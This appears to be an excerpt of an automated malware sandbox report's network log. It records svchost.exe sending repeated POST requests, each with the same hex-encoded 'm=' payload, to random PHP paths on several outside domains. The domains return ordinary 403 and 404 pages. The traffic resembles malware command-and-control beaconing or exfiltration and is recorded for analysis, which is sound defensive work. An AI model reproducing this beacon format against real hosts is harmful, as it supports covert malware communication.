                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.672228098 CET6213OUTData Raw: 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.871364117 CET6215INHTTP/1.1 403 Forbidden
                                                                                                                                                                                                                                                                                                    Server: nginx/1.16.1
                                                                                                                                                                                                                                                                                                    Date: Tue, 23 Mar 2021 10:36:04 GMT
                                                                                                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                                                                                    Data Raw: 32 39 33 35 0d 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 6c 6f 61 64 65 72 5f 63 6f 6e 66 69 67 3d 7b 6c 69 63 65 6e 73 65 4b 65 79 3a 22 64 38 39 65 63 36 38 37 30 36 22 2c 61 70 70 6c 69 63 61 74 69 6f 6e 49 44 3a 22 37 34 31 37 36 36 31 37 22 7d 3b 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 2c 5f 5f 6e 72 5f 72 65 71 75 69 72 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 6e 29 7b 69 66 28 21 74 5b 6e 5d 29 7b 76 61 72 20 69 3d 74 5b 6e 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 65 5b 6e 5d 5b 30 5d 2e 63 61 6c 6c 28 69 2e 65 78 70 6f 72 74 73 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 5b 31 5d 5b 74 5d 3b 72 65 74 75 72 6e 20 72 28 69 7c 7c 74 29 7d 2c 69 2c 69 2e 65 78 70 6f 72 74 73 29 7d 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 5f 5f 6e 72 5f 72 65 71 75 69 72 65 29 72 65 74 75 72 6e 20 5f 5f 6e 72 5f 72 65 71 75 69 72 65 3b 66 6f 72 28 76 61 72 20 69 3d 30 3b 69 3c 6e 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 72 28 6e 5b 69 5d 29 3b 72 65 74 75 72 6e 20 72 7d 28 7b 31 3a 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 28 65 2c 5b 75 2e 6e 6f 77 28 29 5d 2e 63 6f 6e 63 61 74 28 63 28 61 72 67 75 6d 65 6e 74 73 29 29 2c 74 3f 6e 75 6c 6c 3a 74 68 69 73 2c 6e 29 2c 74 3f 76 6f 69 64 20 30 3a 74 68 69 73 7d 7d 76 61 72 20 6f 3d 65 28 22 68 61 6e 64 6c 65 22 29 2c 61 3d 65 28 37 29 2c 63 3d 65 28 38 29 2c 66 3d 65 28 22 65 65 22 29 2e 67 65 74 28 22 74 72 61 63 65 72 22 29 2c 75 3d 65 28 22 6c 6f 61 64 65 72 22 29 2c 73 3d 4e 52 45 55 4d 3b 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 6e 65 77 72 65 6c 69 63 26 26 28 6e 65 77 72 65 6c 69 63 3d 73 29 3b 76 61 72 20 64 3d 5b 22 73 65 74 50 61 67 65 56 69 65 77 4e 61 6d 65 22 2c 22 73 65 74 43 75 73 74 6f 6d 41 74 74 72 69 62 75 74 65 22 2c 22 73 65 74 45 72 72 6f 72 48 61 6e 64 6c 65 72 22 2c 22 66 69 6e 69 73 68 65 64 22 2c 22 61 64 64 54 6f 54 72 61 63 65 22 2c 22 69 6e 6c 69 6e 65 48 69 74 22 2c 22 61 64 64 52 65 6c 65 61 73 65 22 5d 2c 70 3d 22 61 70 69 2d 22 2c 6c 3d 70 2b 22 69 78 6e 2d 22 3b 61 28 64 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 73 5b 74 5d 3d 69 28 70 2b 74 2c 21 30 2c 22 61 70 69 22 29 7d 29 2c 73 2e 61 64 64 50 61 67 65 41 63 74 69 6f 6e 3d 69 28 70 2b 22 61 64 64 50 61 67 65 41 63 74 69 6f 6e 22 2c 21 30 29 2c 73 2e 73 65 74 43 75 72 72 65 6e 74 52 6f 75 74 65 4e 61 6d 65 3d 69 28 70 2b 22 72 6f 75 74 65 4e 61 6d 65 22 2c 21 30 29 2c 74 2e 65 78 70 6f 72 74 73 3d 6e 65 77 72 65 6c 69 63 2c 73 2e 69 6e 74 65 72 61 63 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 28 6e 65 77 20 72 29 2e 67 65 74 28 29 7d 3b 76 61 72 20 6d 3d 72 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 72 65 61 74 65 54 72 61 63 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76
                                                                                                                                                                                                                                                                                                    Data Ascii: 2935<!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html; charset=utf-8"><script type="text/javascript">(window.NREUM||(NREUM={})).loader_config={licenseKey:"d89ec68706",applicationID:"74176617"};window.NREUM||(NREUM={}),__nr_require=function(e,t,n){function r(n){if(!t[n]){var i=t[n]={exports:{}};e[n][0].call(i.exports,function(t){var i=e[n][1][t];return r(i||t)},i,i.exports)}return t[n].exports}if("function"==typeof __nr_require)return __nr_require;for(var i=0;i<n.length;i++)r(n[i]);return r}({1:[function(e,t,n){function r(){}function i(e,t,n){return function(){return o(e,[u.now()].concat(c(arguments)),t?null:this,n),t?void 0:this}}var o=e("handle"),a=e(7),c=e(8),f=e("ee").get("tracer"),u=e("loader"),s=NREUM;"undefined"==typeof window.newrelic&&(newrelic=s);var d=["setPageViewName","setCustomAttribute","setErrorHandler","finished","addToTrace","inlineHit","addRelease"],p="api-",l=p+"ixn-";a(d,function(e,t){s[t]=i(p+t,!0,"api")}),s.addPageAction=i(p+"addPageAction",!0),s.setCurrentRouteName=i(p+"routeName",!0),t.exports=newrelic,s.interaction=function(){return(new r).get()};var m=r.prototype={createTracer:function(e,t){v
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.871722937 CET6216INData Raw: 61 72 20 6e 3d 7b 7d 2c 72 3d 74 68 69 73 2c 69 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 3b 72 65 74 75 72 6e 20 6f 28 6c 2b 22 74 72 61 63 65 72 22 2c 5b 75 2e 6e 6f 77 28 29 2c 65 2c 6e 5d 2c 72 29 2c 66 75 6e 63 74 69 6f
                                                                                                                                                                                                                                                                                                    Data Ascii: ar n={},r=this,i="function"==typeof t;return o(l+"tracer",[u.now(),e,n],r),function(){if(f.emit((i?"":"no-")+"fn-start",[u.now(),r,i],n),i)try{return t.apply(this,arguments)}catch(e){throw f.emit("fn-err",[arguments,this,e],n),e}finally{f.emit
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.872167110 CET6217INData Raw: 66 66 73 65 74 26 26 74 3c 3d 44 61 74 65 2e 6e 6f 77 28 29 3f 28 74 2d 3d 70 2e 6f 66 66 73 65 74 2c 6e 2e 66 69 64 3d 70 2e 6e 6f 77 28 29 2d 74 29 3a 74 3d 70 2e 6e 6f 77 28 29 2c 67 3d 21 30 2c 64 28 22 74 69 6d 69 6e 67 22 2c 5b 22 66 69 22
                                                                                                                                                                                                                                                                                                    Data Ascii: ffset&&t<=Date.now()?(t-=p.offset,n.fid=p.now()-t):t=p.now(),g=!0,d("timing",["fi",t,n])}}function c(e){d("pageHide",[p.now(),e])}if(!("init"in NREUM&&"page_view_timing"in NREUM.init&&"enabled"in NREUM.init.page_view_timing&&NREUM.init.page_vi
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.872689009 CET6219INData Raw: 75 6d 65 6e 74 5b 69 5d 3f 22 68 69 64 64 65 6e 22 3a 22 76 69 73 69 62 6c 65 22 29 7d 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 22 69 6e 20 64 6f 63 75 6d 65 6e 74 26 26 6f 26 26 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69
                                                                                                                                                                                                                                                                                                    Data Ascii: ument[i]?"hidden":"visible")}"addEventListener"in document&&o&&document.addEventListener(o,t,!1)}t.exports=r;var i,o,a;"undefined"!=typeof document.hidden?(i="hidden",o="visibilitychange",a="visibilityState"):"undefined"!=typeof document.msHid
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.873244047 CET6220INData Raw: 7d 66 75 6e 63 74 69 6f 6e 20 67 28 65 29 7b 72 65 74 75 72 6e 20 70 5b 65 5d 3d 70 5b 65 5d 7c 7c 69 28 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 77 28 65 2c 74 29 7b 73 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 74 3d 74 7c 7c 22 66 65 61 74
                                                                                                                                                                                                                                                                                                    Data Ascii: }function g(e){return p[e]=p[e]||i(n)}function w(e,t){s(e,function(e,n){t=t||"feature",h[n]=t,t in d||(d[t]=[])})}var y={},h={},b={on:o,addEventListener:o,removeEventListener:m,emit:n,get:g,listeners:v,context:t,buffer:w,abort:c,aborted:!1};re
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.873688936 CET6221INData Raw: 6d 69 6e 67 22 2c 5b 22 6c 6f 61 64 22 2c 6e 5d 29 3b 76 61 72 20 72 3d 6c 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 72 2e 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 22 2b 65 2e 61 67 65 6e 74 2c 74 2e 70 61 72 65 6e
                                                                                                                                                                                                                                                                                                    Data Ascii: ming",["load",n]);var r=l.createElement("script");r.src="https://"+e.agent,t.parentNode.insertBefore(r,t)}}function i(){"complete"===l.readyState&&o()}function o(){c("mark",["domContent",a()+x.offset],null,"api")}var a=e(2),c=e("handle"),f=e(7
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.874167919 CET6223INData Raw: 70 70 65 72 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 74 2c 72 2c 69 2c 6f 29 7b 72 7c 7c 28 72 3d 22 22 29 3b 76 61 72 20 63 2c 66 2c 75 2c 73 3d 22 2d 22 3d 3d 3d 72 2e 63 68 61 72 41 74 28 30 29 3b 66 6f 72 28 75 3d 30 3b 75 3c 74 2e 6c 65
                                                                                                                                                                                                                                                                                                    Data Ascii: pper)}function r(e,t,r,i,o){r||(r="");var c,f,u,s="-"===r.charAt(0);for(u=0;u<t.length;u++)f=t[u],c=e[f],a(c)||(e[f]=n(c,s?f+r:r,i,f,o))}function c(n,r,o,a){if(!m||t){var c=m;m=!0;try{e.emit(n,r,o,t,a)}catch(f){i([f,n,r,o],e)}m=c}}return e||(e
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.874774933 CET6224INData Raw: 49 44 22 3a 22 37 34 31 37 36 36 31 37 22 2c 22 65 72 72 6f 72 42 65 61 63 6f 6e 22 3a 22 62 61 6d 2d 63 65 6c 6c 2e 6e 72 2d 64 61 74 61 2e 6e 65 74 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 54 69 6d 65 22 3a 31 30 7d 3c 2f 73 63 72 69 70 74 3e
                                                                                                                                                                                                                                                                                                    Data Ascii: ID":"74176617","errorBeacon":"bam-cell.nr-data.net","applicationTime":10}</script> <meta name="robots" content="NONE,NOARCHIVE"> <title>403 Forbidden</title> <style type="text/css"> html * { padding:0; margin:0; } body * { paddin
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.876202106 CET6224INData Raw: 3c 2f 68 74 6d 6c 3e 0a 0d 0a
                                                                                                                                                                                                                                                                                                    Data Ascii: </html>
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.876348972 CET6224INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                                                    Data Ascii: 0


                                                                                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                                                                                                                    16192.168.2.349766109.95.158.14680C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:05.196933031 CET6225OUTPOST /SfbqkG.php?a=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: filtryfotograficzne.photho.pl
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:05.197022915 CET6226OUTData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:05.197086096 CET6226OUTData Raw: 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:05.249059916 CET6227INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                                                                                    X-Powered-By: PHP/5.6.40-dh16
                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                    Content-Length: 2161
                                                                                                                                                                                                                                                                                                    Date: Tue, 23 Mar 2021 10:36:04 GMT
                                                                                                                                                                                                                                                                                                    Server: LiteSpeed
                                                                                                                                                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 70 6c 22 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 41 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 64 68 6f 73 74 69 6e 67 2e 70 6c 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 43 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 64 68 6f 73 74 69 6e 67 2e 70 6c 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 4c 61 6e 67 75 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 70 6c 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 52 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 22 20 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 64 68 6f 73 74 69 6e 67 2e 70 6c 20 2d 20 70 6f 64 20 74 79 6d 20 61 64 72 65 73 65 6d 20 6e 69 65 20 7a 6e 61 6a 64 75 6a 65 20 73 69 c4 99 20 c5 bc 61 64 65 6e 20 73 65 72 77 69 73 20 57 57 57 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 61 3a 6c 69 6e 6b 2c 20 61 3a 76 69 73 69 74 65 64 7b 0d 0a 66 6f 6e 74 3a 20 31 32 70 78 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 63 6f 6c 6f 72 3a 23 33 33 33 3b 0d 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 69 6d 67 7b 0d 0a 62 6f 72 64 65 72 3a 30 70 78 3b 0d 0a 7d 0d 0a 61 3a 68 6f 76 65 72 2c 20 61 3a 61 63 74 69 76 65 7b 0d 0a 63 6f 6c 6f 72 3a 23 30 30 30 3b 0d 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 0d 0a 7d 0d 0a 23 74 72 65 73 63 7b 0d 0a 66 6f 6e 74 3a 20 31 32 70 78 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0d 0a 7d 0d 0a 23 66 6f 6f 74 7b 0d 0a 66 6f 6e 74 3a 20 31 30 70 78 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 63 6f 6c 6f 72 3a 23 36 30 36 30 36 30 3b 0d 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0d 0a 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 0d 0a 62 6f 74 74 6f 6d 3a 35 70 78 3b 0d 0a 77 69 64 74 68 3a 39 39 25 3b 0d 0a 7d 0d 0a 0d 0a 2e 66 3a 6c 69 6e 6b 2c 20 2e 66 3a 76 69 73 69 74 65 64 7b 0d 0a 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 70 78 3b 0d 0a 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0d 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 63 6f 6c 6f 72 3a 23 36 30 36 30 36 30 3b 0d 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 2e 66 3a 68 6f 76 65 72 2c 20 2e 66 3a 61 63 74 69 76 65 7b 0d 0a 63 6f 6c 6f 72 3a 23 32 30 32 30 32 30 3b 0d 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65
                                                                                                                                                                                                                                                                                                    Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl"><head><meta http-equiv="Content-type" content="text/html;charset=UTF-8" /><meta name="Author" content="dhosting.pl" /><meta name="Copyright" content="dhosting.pl" /><meta name="Language" content="pl" /><meta name="Robots" content="index, follow" /><title>dhosting.pl - pod tym adresem nie znajduje si aden serwis WWW</title><style type="text/css">a:link, a:visited{font: 12px verdana, sans-serif;color:#333;text-decoration:none;}img{border:0px;}a:hover, a:active{color:#000;text-decoration:underline;}#tresc{font: 12px verdana, sans-serif;color: #333;}#foot{font: 10px verdana, sans-serif;color:#606060;text-align:center;position:absolute;bottom:5px;width:99%;}.f:link, .f:visited{font-size:10px;font-weight: bold;font-family: verdana, sans-serif;color:#606060;text-decoration:none;}.f:hover, .f:active{color:#202020;text-decoration:underline;}</style></he
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:05.249085903 CET6228INData Raw: 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 22 3e 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 64 68 6f 73 74 69 6e 67 2e 70 6c 22 3e 0d 0a 3c 69 6d 67
                                                                                                                                                                                                                                                                                                    Data Ascii: ad><body><div style="text-align:center;"><a href="http://dhosting.pl"><img src="//dhosting.pl/img/logo.svg" alt="dhosting.pl" style="width:350px;margin-top:200px;" /></a><br /><br /><div id="tresc">Domena <strong>filtryfotograficzn


                                                                                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                                                                                                                    17192.168.2.34976723.227.38.6580C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:05.815242052 CET6229OUTPOST /ZQeX0R.php?w=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: middletons.co.uk
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:05.815423965 CET6229OUTData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:05.815701008 CET6229OUTData Raw: 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.202234030 CET6231INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                                                                    Date: Tue, 23 Mar 2021 10:36:06 GMT
                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                                                                                    X-Sorting-Hat-PodId: 48
                                                                                                                                                                                                                                                                                                    X-Sorting-Hat-ShopId: 21781121
                                                                                                                                                                                                                                                                                                    Vary: Accept-Encoding
                                                                                                                                                                                                                                                                                                    X-Frame-Options: DENY
                                                                                                                                                                                                                                                                                                    X-ShopId: 21781121
                                                                                                                                                                                                                                                                                                    X-ShardId: 48
                                                                                                                                                                                                                                                                                                    Content-Language: en
                                                                                                                                                                                                                                                                                                    X-Shopify-Generated-Cart-Token: 8de50928d190436ec34d694031e08e84
                                                                                                                                                                                                                                                                                                    Cache-Control: no-store
                                                                                                                                                                                                                                                                                                    Vary: Accept
                                                                                                                                                                                                                                                                                                    X-Liquid-Rendered-At: 2021-03-23T10:36:05.981957371Z
                                                                                                                                                                                                                                                                                                    Set-Cookie: _shopify_country=Switzerland; path=/
                                                                                                                                                                                                                                                                                                    X-Shopify-Stage: production
                                                                                                                                                                                                                                                                                                    Content-Security-Policy: frame-ancestors 'none'; report-uri /csp-report?source%5Baction%5D=not_found&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=storefront_section%2Fshop&source%5Bsection%5D=storefront&source%5Buuid%5D=8f009d09-c56c-42bd-a265-1ede9ee67f32
                                                                                                                                                                                                                                                                                                    X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                                                                    X-Download-Options: noopen
                                                                                                                                                                                                                                                                                                    X-Permitted-Cross-Domain-Policies: none
                                                                                                                                                                                                                                                                                                    X-XSS-Protection: 1; mode=block; report=/xss-report?source%5Baction%5D=not_found&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=storefront_section%2Fshop&source%5Bsection%5D=storefront&source%5Buuid%5D=8f009d09-c56c-42bd-a265-1ede9ee67f32
                                                                                                                                                                                                                                                                                                    X-Dc: gcp-us-east1,gcp-us-central1,gcp-us-central1
                                                                                                                                                                                                                                                                                                    X-Request-ID: 8f009d09-c56c-42bd-a265-1ede9ee67f32
                                                                                                                                                                                                                                                                                                    Set-Cookie: cart_currency=GBP; path=/; expires=Tue, 06 Apr 2021 09:36:05 GMT; SameSit
                                                                                                                                                                                                                                                                                                    Data Raw:
                                                                                                                                                                                                                                                                                                    Data Ascii:
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.202264071 CET6232INData Raw: 3d 4c 61 78 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 63 61 72 74 5f 73 69 67 3d 38 30 30 35 34 38 63 37 33 64 65 33 35 64 63 64 37 38 66 37 65 61 34 64 63 33 32 32 33 62 30 61 3b 20 70 61 74 68 3d 2f 3b 20 65 78 70 69 72 65 73 3d 54 75 65 2c 20
                                                                                                                                                                                                                                                                                                    Data Ascii: =LaxSet-Cookie: cart_sig=800548c73de35dcd78f7ea4dc3223b0a; path=/; expires=Tue, 06 Apr 2021 09:36:05 GMT; HttpOnly; SameSite=LaxSet-Cookie: _y=3d65b903-f5b0-4f33-9261-4788eb2a86b7; Expires=Wed, 23-Mar-22 10:36:06 GMT; Domain=middletons.co.
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.202280045 CET6234INData Raw: 33 64 62 31 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22
                                                                                                                                                                                                                                                                                                    Data Ascii: 3db1<!doctype html><html lang="en"> <head> <link rel="stylesheet" href="https://obscure-escarpment-2240.herokuapp.com/stylesheets/bcpo-front.css"> <script>var bcpo_product=null; var bcpo_settings={"fallback":"default","auto_select
